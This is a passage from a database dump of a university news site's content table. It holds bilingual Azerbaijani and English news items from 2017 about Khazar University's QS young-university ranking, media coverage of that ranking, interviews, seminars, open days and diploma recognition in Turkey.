news, the QS organisation (QS Top 50 Under 50), international organisation that evaluates higher education in the world, has released the annual university ranking. This ranking covers young universities that operate in less than 50 years across the globe. The primary objective of this ranking is to assess the potential and strengths of universities which despite their young age possess the potential to compete effectively with older well-established higher education institutions. The top 150 young universities from 53 countries have been included in the list.</p><p>Khazar University is the only Azerbaijani university that was placed among the 150 best young world universities. Khazar University was competing with such well-known universities as Middlesex University (UK), Dublin Institute of Technology (Ireland), Universität Bielefeld (Germany), London Metropolitan University (UK), Nottingham Trent University (UK), and George Mason University (USA).</p><p>Khazar University told AZERTAC that Post-Soviet Union countries are represented by Azerbaijan, Kazakhstan, Russia, and Ukraine with one university per country. Turkey has four universities (Bilkent University, Koc University, Sabancı University, Cukurova University) on the list.</p><p>The performance of the world young universities is evaluated across a range of the following indicators: academic reputation, employer reputation, student-faculty ratio, citations per faculty, international faculty ratio and international student ratio.</p><p>The news can be read via this link: <a href=\"http://azertag.az/xeber/Xezer_Universiteti_dunya_ali_tehsil_mekaninda-1079633#Kalibri\" title=\"azertac\" target=\"_blank\">http://azertag.az/xeber/Xezer_Universiteti_dunya_ali_tehsil_mekaninda-1079633#Kalibri</a></p>'),(4019,2347,'az','Professor Hamlet İsaxanlının “Şərq” qəzetinə müsahibəsi','2017-ci il iyulun 24-də gündəlik ictimai-siyasi nəşr olan “Şərq” qəzetinin internet səhifəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının “Professor reallığı deyir: \"...','<p>2017-ci il iyulun 24-də gündəlik ictimai-siyasi nəşr olan “Şərq” qəzetinin internet səhifəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının “Professor reallığı deyir: ”… Gəlin, bizim müəllimlərin maaşına baxın!” sərlövhəli müsahibəsi dərc olunmuşdur. Müsahibədə professor hər bir ölkədə təhsilin səviyyəsinin həmin ölkənin iqtisadi və siyasi səviyyəsi ilə sıx əlaqədar olduğu fikrini əsaslandırır və bunu Azərbaycanın timsalında izah edir.</p><p>Müsahibəni bu link vasitəsilə oxumaq olar: <a href=\"http://www.sherg.az/site/id-34469/Professor_reallığı_deyir:_\" ...gəlin,_bizim_müəllimlərin_maaşına_baxın_!_\"#kalibri\"=\"\" target=\"_blank\">http://www.sherg.az/site/id-34469/Professor_reall%C4%B1%C4%9F%C4%B1_deyir:_%22...G%C9%99lin,_bizim_m%C3%BC%C9%99lliml%C9%99rin_maa%C5%9F%C4%B1na_bax%C4%B1n_!_%22#Kalibri</a></p>'),(4020,2346,'en','The research work by PhD student of Khazar University published in Turkey','The research work entitled ‘Possibility of Foreign Languages in the Education System of Azerbaijan: Analysis of the Best Foreign Language among Students’ in Higher Private Educational Institutions’, conducted by Valida Karimova...','<p>The research work entitled ‘Possibility of Foreign Languages in the Education System of Azerbaijan: Analysis of the Best Foreign Language among Students’ in Higher Private Educational Institutions’, conducted by Valida Karimova, a PhD student of the university, Dean’s assistant, School of Humanities and Social Sciences, was published in the July issue of ‘The Online Journal of Quality in Higher Education’, Sakarya, Turkey.</p><p>It should be noted that on November 24-25, 2016, the author delivered a presentation under the same title at the international conference held in Sakarya.</p><p>Valida Karimova\'s research work was conducted with 301 research participants, i.e. students from Khazar University and Qafqaz University (presently Baku Engineering University), during the 2015-2016 academic year, which analyzed the best foreign language and identified the foreign language proficiency level among the two private university students.</p><p>The research paper can be found via the following links: <a href=\"http://www.tojqih.net/journals/tojqih/articles/v04i03/v04i03-03.pdf\" target=\"_blank\">http://www.tojqih.net/journals/tojqih/articles/v04i03/v04i03-03.pdf</a> <a href=\"http://www.tojqih.net/journals/tojqih/volumes/tojqih-volume04-i03.pdf\" target=\"_blank\">http://www.tojqih.net/journals/tojqih/volumes/tojqih-volume04-i03.pdf </a> <br></p>'),(4021,2347,'en','Interview of Professor Hamlet Isakhanli to \"Sharq\" newspaper','On July 24, 2017, an interview of Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, entitled...','<p>On July 24, 2017, an interview of Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, entitled ‘The reality of a professor says: ‘Let’s have a look at our teachers’ salary’’, was published on the website of \"Sharq\" newspaper, a daily social-political publication. In the interview, the professor justifies the idea that the education in each country is closely related to the economic and political level of the country and explains it in the case of Azerbaijan.</p><p>The interview can be read via the link below: <a href=\"http://www.sherg.az/site/id-34469/Professor_reall%C4%B1%C4%9F%C4%B1_deyir:_%22...G%C9%99lin,_bizim_m%C3%BC%C9%99lliml%C9%99rin_maa%C5%9F%C4%B1na_bax%C4%B1n_!_%22#Kalibri\" target=\"_blank\">http://www.sherg.az/site/id-34469/Professor_reall%C4%B1%C4%9F%C4%B1_deyir:_%22...G%C9%99lin,_bizim_m%C3%BC%C9%99lliml%C9%99rin_maa%C5%9F%C4%B1na_bax%C4%B1n_!_%22#Kalibri</a></p>'),(4492,2662,'en','Seminars on Applied Linguistics and Research Methodology held at Khazar University','English Language and Literature department conducted two seminars on Applied Linguistics and Research Methodology led by Dr. Salahshour on Thursday...','<p>English Language and Literature department conducted two seminars on Applied Linguistics and Research Methodology led by Dr. Salahshour on Thursday November 23, 2017. During the seminars, application of linguistics to the field of English language teaching, which is very much relevant to mission and vision of Khazar university, was discussed in details. On the other hand, the guidelines for promotion of research works in the department were pointed out in a systematic PowerPoint presentations.</p><p>All the instructors of English Language and Literature Department together with MA students (1<sup>st</sup> and 2<sup>nd</sup> years of Translation and Linguistics) took part in the seminars. The seminars were attended by the interested researchers from different universities as well. Certificates of participation were issued for the registered applicants of the two seminars.</p><p>Furthermore, Dr. Salahshour supervised some of the research students.</p>'),(4191,2460,'az','I kurs “tarixçilər” muzeydə oldular','2017-ci il sentyabrın 29-da Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Nuridə Atəşinin tədris etdiyi...','<p>2017-ci il sentyabrın 29-da Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Nuridə Atəşinin tədris etdiyi “Qafqaz arxeologiyasının tarixi: maddi-mədəni irsi və Xocalı-Gədəbəy mədəniyyəti materialları Avropa muzeylərində” fənni Azərbaycan Milli Tarix muzeyində keçirildi. Nuridə Atəşi Qafqaz arxeologiyasının tarixi, tarixşünaslığı və Xocalı-Gədəbəy mədəniyyəti haqqında Təhsil fakültəsi tarix müəllimliyi ixtisasının I kurs tələbələrinə məlumatlar verdi.</p>'),(4192,2461,'az','Tələbə Məclisi “birincilər”lə görüşdü','2017-ci il sentyabrın 30-da Xəzər Universiteti Tələbə Məclisi universitetə yeni daxil olmuş tələbələrlə maarifləndirici görüş təşkil etdi...','<p>2017-ci il sentyabrın 30-da Xəzər Universiteti Tələbə Məclisi universitetə yeni daxil olmuş tələbələrlə maarifləndirici görüş təşkil etdi. Tədbiri universitetin İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli tələbələri təbrik edərək, açdı. Daha sonra Tələbə Məclisinin prezidenti Qurban Əsgərov tələbələrə universitetdə gənclərin fəallığı ilə görülmüş işlər, onlarla maraqlı layihələrin həyata keçirilməsi, asudə vaxtlarının səmərəli təşkili, bilik səviyyələrinin və dünyagörüşlərinin artmasına diqqət və bu sahədə rəhbərliyin qayğısı və dəstəyi, yaradılan hər cür şərait haqqında geniş məlumat verdi. Tələbə Məclisinin son bir il ərzindəki fəaliyyətini əks etdirən video-çarxlar nümayiş etdirildi. Yeni qəbul olmuş tələbələrə Tələbə Məclisi ilə əməkdaşlıq edən “İrəli İctimai Birliyi” və “AIESEC in Azerbaijan” təşkilatı da özləri haqqında geniş məlumat verdilər, ictimai-sosial fəal tələbə olmağın faydalarından danışdılar.</p><p>Görüşün sonunda tələbələri maraqlandıran suallar cavablandırıldı.</p>'),(4504,2670,'az','Xəzər Universitetinin məzunu müsahibə verdi','2017-ci il noyabrın 20-də A24.az xəbər saytı Xəzər Universitetinin məzunu, İbrus Teatrının aktyoru Zaur Şəfiyevlə müsahibəni...','<p>2017-ci il noyabrın 20-də <strong><em>A24.az</em></strong> xəbər saytı Xəzər Universitetinin məzunu, İbrus Teatrının aktyoru Zaur Şəfiyevlə müsahibəni yayınlamışdır.</p><p>Müsahibəni tam şəkildə buradan oxumaq olar:&nbsp;</p><p><a href=\"http://a24.az/rasim-balayev-kimi-aktyora-deyer-verilmirse-vay-bizim-halimiza-zaur-sefiyevle-musahibe/\">http://a24.az/rasim-balayev-kimi-aktyora-deyer-verilmirse-vay-bizim-halimiza-zaur-sefiyevle-musahibe/</a>.</p>'),(4022,2348,'az','Moderator.az saytında Xəzər Universitetinin yeni uğuru haqqında xəbər yayımlanmışdır','2017-ci il iyulun 25-də Moderator.az xəbər saytı Xəzər Universitetinin dünyada ali təhsili dəyərləndirən beynəlxalq QS təşkilatının iyulun 14-də...','<p>2017-ci il iyulun 25-də Moderator.az xəbər saytı Xəzər Universitetinin dünyada ali təhsili dəyərləndirən beynəlxalq QS təşkilatının iyulun 14-də açıqladığı “QS Top 50 Under 50” reytinq cədvəlində (53 ölkədən 150 ən yaxşı gənc - 50 ildən az fəaliyyət göstərən universitetlər arasında) Azərbaycandan yeganə universitet olması haqqında xəbər yaymışdır. Xəbəri bu linkdə oxumaq olar: <a href=\"http://www.moderator.az/news/185769.html#Kalibri\" target=\"_blank\">http://www.moderator.az/news/185769.html#Kalibri</a></p>'),(4023,2349,'az','İstiqlal.az. saytında Xəzər Universitetinin yeni uğuru haqqında xəbər yayımlanmışdır','2017-ci il iyulun 25-də İstiqlal.az xəbər saytı Xəzər Universitetinin dünyada ali təhsili dəyərləndirən beynəlxalq QS təşkilatının iyulun 14-də...','<p>2017-ci il iyulun 25-də İstiqlal.az xəbər saytı Xəzər Universitetinin dünyada ali təhsili dəyərləndirən beynəlxalq QS təşkilatının iyulun 14-də açıqladığı “QS Top 50 Under 50” reytinq cədvəlində (53 ölkədən 150 ən yaxşı gənc - 50 ildən az fəaliyyət göstərən universitetlər arasında) Azərbaycandan yeganə universitet olması haqqında xəbər yaymışdır.</p><p>Xəbəri bu linkdə oxumaq olar: <a href=\"http://istiqlal.az/news/40525.html#Kalibri\" target=\"_blank\">http://istiqlal.az/news/40525.html#Kalibri</a></p>'),(4024,2350,'az','Professor Hamlet İsaxanlının “Şərq” qəzetinə müsahibəsini dia.az dərc etmişdir','2017-ci il iyulun 24-də gündəlik ictimai-siyasi nəşr olan “Şərq” qəzetinin internet səhifəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə...','<p>2017-ci il iyulun 24-də gündəlik ictimai-siyasi nəşr olan “Şərq” qəzetinin internet səhifəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə dərc olunmuş müsahibəni (“Professor reallığı deyir: ”… Gəlin, bizim müəllimlərin maaşına baxın!”) dia.az xəbər saytı iyulun 25-də öz səhifəsində yerləşdirmişdir: <a href=\"http://www.dia.az/8/150217-gelin-bizim-muellimlerin-maashina-baxin-.html#Kalibri\" target=\"_blank\">http://www.dia.az/8/150217-gelin-bizim-muellimlerin-maashina-baxin-.html#Kalibri</a></p><p>Müsahibədə professor hər bir ölkədə təhsilin səviyyəsinin həmin ölkənin iqtisadi və siyasi səviyyəsi ilə sıx əlaqədar olduğu fikrini əsaslandırmış və bunu Azərbaycanın timsalında izah etmişdir.</p>'),(4025,2349,'en','Istiqlal.az released the news about Khazar University\'s new success','On July 25, 2017, Isitqlal.az, the news website, reported that Khazar University is the only Azerbaijani university in the QS Top 50 Under...','<p>On July 25, 2017, Isitqlal.az, the news website, reported that Khazar University is the only Azerbaijani university in the QS Top 50 Under 50 rankings (among 150 best young universities from 53 countries - with less than 50 years of experience) released on July 14, by the international QS organization that evaluates higher education in the world. The news can be read via this link: <a href=\"http://istiqlal.az/news/40525.html#Kalibri\" target=\"_blank\">http://istiqlal.az/news/40525.html#Kalibri</a></p>'),(4026,2348,'en','Moderator.az released the news about Khazar University\'s new success','On July 25, 2017, Moderator.az, the news website, reported that Khazar University is the only Azerbaijani university in the QS Top 50 Under...','<p>On July 25, 2017, Moderator.az, the news website, reported that Khazar University is the only Azerbaijani university in the QS Top 50 Under 50 rankings (among 150 best young universities from 53 countries - with less than 50 years of experience) released on July 14, by the international QS organization that evaluates higher education in the world. The news can be read via this link: <a href=\"http://www.moderator.az/news/185769.html#Kalibri\" target=\"_blank\">http://www.moderator.az/news/185769.html#Kalibri</a></p>'),(4027,2351,'az',' “Xəzər”in müəlliminin məqaləsi çap olunub','“Yeni müsavat” onlayn ictimai-siyasi qəzetin 25 iyul 2017-ci il tarixli sayında Musavat.com və Xeber365.com saytlarının Türk dilinin regionda...','<p>“Yeni müsavat” onlayn ictimai-siyasi qəzetin 25 iyul 2017-ci il tarixli sayında Musavat.com və Xeber365.com saytlarının Türk dilinin regionda hakim dilə çevrilməsi istiqamətində başladıqları yeni layihə çərçivəsində AMEA Nəsimi adını Dilçilik İnstitunun böyük elmi işçisi, Xəzər Universitetinin müəllimi, filologiya üzrə fəlsəfə doktoru İlahə Qurbanlının “Avropada fransız, Qafqazda türk dili…” adlı məqaləsi dərc olunmuşdur. Məqalədə müəllif layihəyə müsbət münasibətini bildirir.</p><p>Məqaləni bu linkdə oxumaq olar: <a href=\"http://musavat.com/news/avropada-fransiz-qafqazda-turk-dili_456361.html#Kalibri\" target=\"_blank\">http://musavat.com/news/avropada-fransiz-qafqazda-turk-dili_456361.html#Kalibri</a></p>'),(4028,2352,'az','Xəzər Universitetinin tələbələri ADU-da yay məktəbində iştirak edirlər','2017-ci il iyulun 16-da sia.az xəbər saytı ADU-da təşkil olunmuş ödənişsiz Yay məktəbi haqqında “ADU-da Yay məktəbi uğurla davam edir”...','<p>2017-ci il iyulun 16-da sia.az xəbər saytı ADU-da təşkil olunmuş ödənişsiz Yay məktəbi haqqında “ADU-da Yay məktəbi uğurla davam edir” sərlövhəli məqalə dərc etmişdir. Məqalədə Yay mətəbində ADU tələbələri ilə yanşı Bakı Mühəndislik Universiteti və Xəzər Universiteti, həmçinin Kanadanın Toronto Universitetinin tələbələrinin də iştirak etdiyi qeyd olunur. İyulun 18-də başlanan Yay məktəbi avqustun 25-dək davam edəcək.</p><p>Məqaləni bu linkdə oxumaq olar: <a href=\"http://sia.az/az/news/education/628504.html#Kalibri\" target=\"_blank\">http://sia.az/az/news/education/628504.html#Kalibri</a></p>'),(4029,2350,'en','Dia.az released the interview of Professor Hamlet Isakhanli to \"Sharq\" newspaper','On July 25, 2017, dia.az, the news website, posted on its website the interview (‘The reality of a professor says: ‘Let’s have a look at our teachers’ salary’’) of Professor Hamlet Isakhanli...','<p>On July 25, 2017, dia.az, the news website, posted on its website the interview (‘The reality of a professor says: ‘Let’s have a look at our teachers’ salary’’) of Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, released on July 24, 2017, on the website of \"Sharq\" newspaper, a daily social-political publication: <a href=\"http://www.dia.az/8/150217-gelin-bizim-muellimlerin-maashina-baxin-.html#Kalibri\" target=\"_blank\">http://www.dia.az/8/150217-gelin-bizim-muellimlerin-maashina-baxin-.html#Kalibri</a></p><p>In the interview, the professor justified the idea that the education in each country is closely related to the economic and political level of the country and explained it in the case of Azerbaijan.</p>'),(4030,2353,'az','Sputnik.az. saytında Xəzər Universitetinin yeni uğuru haqqında xəbər yayımlanmışdır','2017-ci il iyulun 26-da Sputnik.az xəbər saytı Xəzər Universitetinin dünyada ali təhsili dəyərləndirən beynəlxalq QS təşkilatının iyulun 14-də açıqladığı...','<p>2017-ci il iyulun 26-da Sputnik.az xəbər saytı Xəzər Universitetinin dünyada ali təhsili dəyərləndirən beynəlxalq QS təşkilatının iyulun 14-də açıqladığı “QS Top 50 Under 50” reytinq cədvəlində (53 ölkədən 150 ən yaxşı gənc - 50 ildən az fəaliyyət göstərən universitetlər arasında) Azərbaycandan yeganə universitet olması haqqında xəbər yaymışdır.</p><p>Xəbəri bu linkdə oxumaq olar: <a href=\"https://sputnik.az/science/20170726/411241018/xezer-universitetinden-daha-bir-ugur.html#Kalibri\" target=\"_blank\">https://sputnik.az/science/20170726/411241018/xezer-universitetinden-daha-bir-ugur.html#Kalibri</a></p>'),(4031,2354,'az','“Ədalət” qəzetinin internet səhifəsində Xəzər Universitetinin yeni uğuru haqqında xəbər dərc olunmuşdur','2017-ci il iyulun 26-da“Ədalət” qəzetinin internet səhifəsində Xəzər Universitetinin dünyada ali təhsili dəyərləndirən beynəlxalq QS təşkilatının iyulun 14-də açıqladığı...','<p>2017-ci il iyulun 26-da“Ədalət” qəzetinin internet səhifəsində Xəzər Universitetinin dünyada ali təhsili dəyərləndirən beynəlxalq QS təşkilatının iyulun 14-də açıqladığı “QS Top 50 Under 50” reytinq cədvəlində (53 ölkədən 150 ən yaxşı gənc - 50 ildən az fəaliyyət göstərən universitetlər arasında) Azərbaycandan yeganə universitet olması haqqında xəbər dərc olunmuşdur.</p><p>Xəbəri bu linkdə oxumaq olar: <a href=\"http://www.adalet.az/w132263/X%C9%99z%C9%99r_Universiteti_daha_bir_u%C4%9Fura_imza_atd%C4%B1_/#Kalibri\" target=\"_blank\">http://www.adalet.az/w132263/X%C9%99z%C9%99r_Universiteti_daha_bir_u%C4%9Fura_imza_atd%C4%B1_/#Kalibri</a></p>'),(4032,2355,'az','“525-ci” qəzetin internet səhifəsində Xəzər Universitetinin yeni uğuru haqqında xəbər dərc olunmuşdur','2017-ci il iyulun 26-da“525-ci” qəzetin internet səhifəsində Xəzər Universitetinin dünyada ali təhsili dəyərləndirən beynəlxalq QS təşkilatının iyulun 14-də açıqladığı...','<p></p><p style=\"background:undefined \">2017-ci il iyulun 26-da“525-ci” qəzetin internet səhifəsində Xəzər Universitetinin dünyada ali təhsili dəyərləndirən beynəlxalq QS təşkilatının iyulun 14-də açıqladığı “QS Top 50 Under 50” reytinq cədvəlində (53 ölkədən 150 ən yaxşı gənc - 50 ildən az fəaliyyət göstərən universitetlər arasında) Azərbaycandan yeganə universitet olması haqqında xəbər dərc olunmuşdur.</p><p style=\"background:undefined \">Xəbəri bu linkdə oxumaq olar: <a href=\"http://525.az/site/?name=xeber&amp;news_id=83670#Kalibri&amp;gsc.tab=0\" target=\"_blank\">http://525.az/site/?name=xeber&amp;news_id=83670#Kalibri&amp;gsc.tab=0</a></p><p></p>'),(4033,2356,'az',' a24.az saytında Xəzər Universitetinin yeni uğuru haqqında xəbər yayımlanmışdır','2017-ci il iyulun 26-da a24.az xəbər saytı Xəzər Universitetinin dünyada ali təhsili dəyərləndirən beynəlxalq QS təşkilatının iyulun 14-də açıqladığı...','<p>2017-ci il iyulun 26-da a24.az xəbər saytı Xəzər Universitetinin dünyada ali təhsili dəyərləndirən beynəlxalq QS təşkilatının iyulun 14-də açıqladığı “QS Top 50 Under 50” reytinq cədvəlində (53 ölkədən 150 ən yaxşı gənc - 50 ildən az fəaliyyət göstərən universitetlər arasında) Azərbaycandan yeganə universitet olması haqqında xəbər yaymışdır.</p><p>Xəbəri bu linkdə oxumaq olar: <a href=\"http://a24.az/azerbaycanin-bu-ali-mektebi-dunya-uzre-150-en-genc-universitetden-biri-secildi/#Kalibri\" target=\"_blank\">http://a24.az/azerbaycanin-bu-ali-mektebi-dunya-uzre-150-en-genc-universitetden-biri-secildi/#Kalibri</a></p>'),(4034,2357,'az','AZƏRTAC Xəzər Universiteti tələbələrinin də iştirak etdiyi Yay məktəbi haqqında xəbər yaymışdır','2017-ci il iyulun 16-da Azərtac ADU-da təşkil olunmuş ödənişsiz Yay məktəbi haqqında “Azərbaycan Dillər Universitetində yay semestrinin ödənişsiz keçirilməsi digər ali...','<p>2017-ci il iyulun 16-da Azərtac ADU-da təşkil olunmuş ödənişsiz Yay məktəbi haqqında “Azərbaycan Dillər Universitetində yay semestrinin ödənişsiz keçirilməsi digər ali təhsil ocaqları üçün örnəkdir” adlı xəbər yaymışdır. Xəbərdə Yay mətəbində ADU tələbələri ilə yanşı Bakı Mühəndislik Universiteti və Xəzər Universiteti, həmçinin Kanadanın Toronto Universitetinin tələbələrinin də iştirak etdiyi qeyd olunur. İyulun 18-də başlanan Yay məktəbi avqustun 25-dək davam edəcək.</p><p>Məqaləni bu linkdə oxumaq olar: <a href=\"http://azertag.az/xeber/Azerbaycan_Diller_Universitetinde_yay_semestrinin_odenissiz__kechirilmesi_diger_ali_tehsil_ocaqlari_uchun_ornekdir-1080985#Kalibri\" target=\"_blank\">http://azertag.az/xeber/Azerbaycan_Diller_Universitetinde_yay_semestrinin_odenissiz__kechirilmesi_diger_ali_tehsil_ocaqlari_uchun_ornekdir-1080985#Kalibri</a></p>'),(4035,2358,'az','Kainat Tədris Mərkəzində görüş','28 iyul 2017-ci il tarixində Kainat Tədris Mərkəzində abituriyentlər, valideynlər və müəllimlərlə  Xəzər Universitəsi əməkdaşlarının görüşü keçirildi. Görüşdə...','<p>28 iyul 2017-ci il tarixində Kainat Tədris Mərkəzində abituriyentlər, valideynlər və müəllimlərlə &nbsp;Xəzər Universitəsi əməkdaşlarının görüşü keçirildi. Görüşdə İctimai əlaqələr və Media üzrə direktor Əlövsət Əmirbəyli, İqtisadiyyat və Menecment Fakültəsinin dekanı Ceyhun Məmmədov, Mühəndislik və Tətbiqi Elmlər Fakültəsinin dekan müavini Vəfa Aslanova, Təhsil Departamentinin müdiri Qoşqar Məhərrəmov , Biologiya Departamentinin müdiri İradə Xəlilova və Humanitar və Sosial Elmlər fakültəsinin dekan köməkçisi Validə Kərimova iştirak etdilər və abituriyentlərə Xəzər Universitəsi haqqında geniş məlumat verildi. Abituriyentlərin çoxsaylı sualları cavablandırıldı və onlara bukletlər paylanıldı.</p>'),(4036,2359,'az','Xəzər Universitetində \"Açıq Qapı\" günü keçirildi','02 avqust 2017-ci il tarixində Xəzər Universitəsinin Neftçilər kampüsündə saat 10:00-dan 14:00-a kimi \"Açıq Qapı\" günü keçirildi. Həmin gün çoxlu sayda...','<br><p>02 avqust 2017-ci il tarixində Xəzər Universitəsinin Neftçilər kampüsündə saat 10:00-dan 14:00-a kimi \"Açıq Qapı\" günü keçirildi. Həmin gün&nbsp;çoxlu sayda abituriyent, valideynlər və orta məktəb müəllimləri \"Açıq Qapı\" günündə iştirak etdilər. Xəzər Universitəsinin əməkdaşları &nbsp;onları maraqlandıran bütün sualları&nbsp;cavablandırdılar, ali məktəblərə qəbul ərəfəsində faydalı məsləhətlər verdilər. Qonaqlara ixtisaslar haqqında məlumatları özündə əks etdirən bukletlər paylanıldı.</p><p>Abituriyentlərin və valideynlərin xahişi ilə \"Açıq Qapı\" günləri 11 avqusta kimi davam etdiriləcək.</p>'),(4037,2360,'az','euras-edu.org saytında Xəzər Universitetinin yeni uğuru haqqında xəbər yayımlanmışdır','EURAS – Avrasiya Universitetlər Birliyi 05 avqust 2017 bülletenində Xəzər Universitetinin dünyada ali təhsili dəyərləndirən beynəlxalq QS təşkilatının iyulun 14-də...','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">EURAS – Avrasiya Universitetlər Birliyi 05 avqust 2017 bülletenində\r\nXəzər Universitetinin dünyada ali təhsili dəyərləndirən beynəlxalq QS\r\ntəşkilatının iyulun 14-də açıqladığı “QS Top 50 Under 50” reytinq cədvəlində\r\n(53 ölkədən 150 ən yaxşı gənc - 50 ildən az fəaliyyət göstərən universitetlər\r\narasında) Azərbaycandan yeganə universitet olması haqqında xəbər yaymışdır.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Xəbəri bu linkdə\r\noxumaq olar:&nbsp;<a href=\"http://euras-edu.org/guest-blog-post-azerbaijani-higher-education-system-by-prof-hamlet-isaxanli-khazar-university/\" target=\"_blank\">http://euras-edu.org/guest-blog-post-azerbaijani-higher-education-system-by-prof-hamlet-isaxanli-khazar-university/</a></p>'),(4038,2361,'az','Xarici İşlər Nazirinin müavini M. Məmmədquliyevin təbrik məktubu','07 avqust 2017-ci tarixində Azərbaycan Respublikasi Xarici İşlər Nazirinin müavini Mahmud Məmmədquliyev Xəzər Universitəsinin təsisçisi, Direktorlar və Qəyyumlar Şurasının Sədri, prof. Hamlet İsaxanlıya...','<p>07 avqust 2017-ci tarixində Azərbaycan Respublikasi Xarici İşlər Nazirinin müavini Mahmud Məmmədquliyev Xəzər Universitəsinin təsisçisi, Direktorlar və Qəyyumlar Şurasının Sədri, prof. Hamlet İsaxanlıya &nbsp;təbrik məktubu göndərmişdir. O, Xəzər Universitəsini Beynəlxalq&nbsp; QS təşkilatının reytinqində dünyanın 150 ən yaxşı gənc universiteti siyahısına daxil edilməsi münasibəti ilə təbrik etmiş, gələcək fəaliyyətində uğurlar və yeni-yeni nailiyyətlər arzulamışdır.</p>'),(4039,2362,'az','Xəzər Universitəsinin diplomları YÖK tərəfindən birbaşa tanınır','Türkiyənin Yükseköğretim Kurulu (YÖK) Xəzər Universitəsinin diplomlarını birbaşa tanımağa qərar vermişdir...','<p>Türkiyənin Yükseköğretim Kurulu (YÖK) Xəzər Universitəsinin diplomlarını birbaşa tanımağa qərar vermişdir.</p><p>Belə ki, Yükseköğretim Kurulunun (YÖK) 12 may 2016-ci il tarixində keçirilən toplantısında qərara alınmışdır ki, Academic Ranking of World University (ARWU), CWTS Leiden Ranking Academic Ranking, QS World University Rankings, Times Higher Education World University Ranking, University Ranking by Academic Performance (URAP) sıralamalarında yer alan ilk 1000 universitə tərəfindən verilən diplomlar YÖK tərəfindən birbaşa (heç bir imtahan verilmədən) tanınacaqdır.</p><p>Xəzər Universitəsi 2012-ci ildən bu günə kimi QS World University Rankings sıralamasında ilk 600-700+ universitə sırasında yer almış, üstəlik, 2017-ci ildə dünyanın ən yaxşı 150 gənc (yəni, yaşı 50-ni keçməyən) universitəsi sırasına daxil edilmişdir (Azərbaycandan tək universitə olaraq).</p><p>Türkiyəli tələbələrimizi və potensial tələbələri təbrik edirik. &nbsp;</p>'),(4040,2361,'en','Congratulation Letter by M. Mammadguliyev, Deputy Foreign Minister','On August 7, 2017, Mahmud Mammadguliyev, Deputy Minister of Foreign Affairs of the Republic of Azerbaijan, sent a letter of congratulation to...','<p>On August 7, 2017, Mahmud Mammadguliyev, Deputy Minister of Foreign Affairs of the Republic of Azerbaijan, sent a letter of congratulation to Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees.</p><p>He congratulated Khazar University on the inclusion in the list of the world\'s 150 best young universities in the rankings released by the International QS organization and wished success and new achievements in its future activities.</p>'),(4041,2362,'en','Diplomas of Khazar University are recognized by Council of Higher Education, Turkey','The Council of Higher Education of Turkey (CHE) is determined to recognize the diplomas of Khazar University...','<p>The Council of Higher Education of Turkey (CHE) is determined to recognize the diplomas of Khazar University.</p><p>The Council of Higher Education made a decision, at the meeting conducted on May 12, 2016, to directly recognize the diplomas awarded by the first 1000 universities which have been placed in the rankings of Academic Ranking of World University (ARWU), CWTS Leiden Ranking Academic Ranking, QS World University Rankings, Times Higher Education World University Ranking, University Ranking by Academic Performance (URAP).</p><p>Since 2012, Khazar University has been ranked among the top 600-700 + universities in the rankings of QS World University Rankings. Besides, in 2017, it is the only Azerbaijani university that was placed among the 150 best young (with less than 50 years of experience) world universities.</p><p>We congratulate our Turkish and potential students.  </p>'),(4042,2364,'az','Xəzər Universitəsində Açıq Qapı Günləri davam edir','Avqustun 2-dən başlayan Açıq Qapı günləri davam edir. Bu günə kimi Açıq qapı günlərində çoxlu sayda abituriyent, valideyn, orta məktəb müəllimləri və...','<p>Avqustun 2-dən başlayan Açıq Qapı günləri davam edir. Bu günə kimi Açıq qapı günlərində çoxlu sayda abituriyent, valideyn, orta məktəb müəllimləri və digər maraqlanan şəxslər iştirak etmişlər. Açıq Qapı günləri avqustun 10-da sona çatacaq.</p>'),(4043,2365,'az',' Pakistanın səfiri Saeed Khan Mohmandın təbrik məktubu','09 avqust 2017-ci tarixində Pakistanın Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri Saeed Khan Mohmand Xəzər Universitəsinin təsisçisi, Direktorlar və Qəyyumlar Şurasının Sədri, prof. Hamlet İsaxanlıya...','<p>09 avqust 2017-ci tarixində Pakistanın Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri Saeed Khan Mohmand Xəzər Universitəsinin təsisçisi, Direktorlar və Qəyyumlar Şurasının Sədri, prof. Hamlet İsaxanlıya &nbsp;təbrik məktubu göndərmişdir. O, Xəzər Universitəsini Beynəlxalq&nbsp; QS təşkilatının reytinqində dünyanın 150 ən yaxşı gənc universiteti siyahısına daxil edilməsi münasibəti ilə təbrik etmiş, gələcək fəaliyyətində uğurlar və yeni-yeni nailiyyətlər arzulamışdır.</p>'),(4044,2359,'en','The ‘Open Door’ Day was conducted at Khazar University','On August 2, 2017, the ‘Open Door’ Day was held, from 10:00 a.m. to 2:00 p.m., at the Neftchilar campus of Khazar University. The event was attended by a large number...','<p>On August 2, 2017, the ‘Open Door’ Day was held, from 10:00 a.m. to 2:00 p.m., at the Neftchilar campus of Khazar University. The event was attended by a large number of abiturients , parents and secondary school teachers. The employees of Khazar University responded to all the questions they were interested in and gave helpful advice on the eve of their admission to higher education institutions. The guests were distributed booklets containing information about specialties.</p><p>The ‘Open Door’ Days will continue until August 11 at the request of abiturients and parents.</p>'),(4045,2360,'en','euras-edu.org released the news about Khazar University\'s new success','EURAS – Eurasian Universities Union reported in its August 5, 2017 bulletin that Khazar University is the only Azerbaijani university in the QS Top 50 Under 50 rankings...','<p>EURAS – Eurasian Universities Union reported in its August 5, 2017 bulletin that Khazar University is the only Azerbaijani university in the QS Top 50 Under 50 rankings (among 150 best young universities from 53 countries - 